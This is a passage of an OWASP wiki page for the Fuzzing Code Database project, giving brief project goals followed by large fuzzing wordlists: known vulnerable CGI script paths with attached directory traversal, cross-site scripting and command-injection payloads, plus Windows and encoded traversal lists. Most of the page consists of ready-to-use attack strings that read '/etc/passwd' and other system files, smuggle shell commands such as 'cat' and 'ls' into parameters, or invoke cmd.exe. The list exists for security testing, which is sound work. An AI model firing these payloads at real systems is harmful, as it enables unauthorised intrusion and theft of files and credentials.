= <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80078 2010-03-17T21:11:28Z

<p>Adam.muntner: /* Common Windows CGI (Update: 17 March 2009) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> 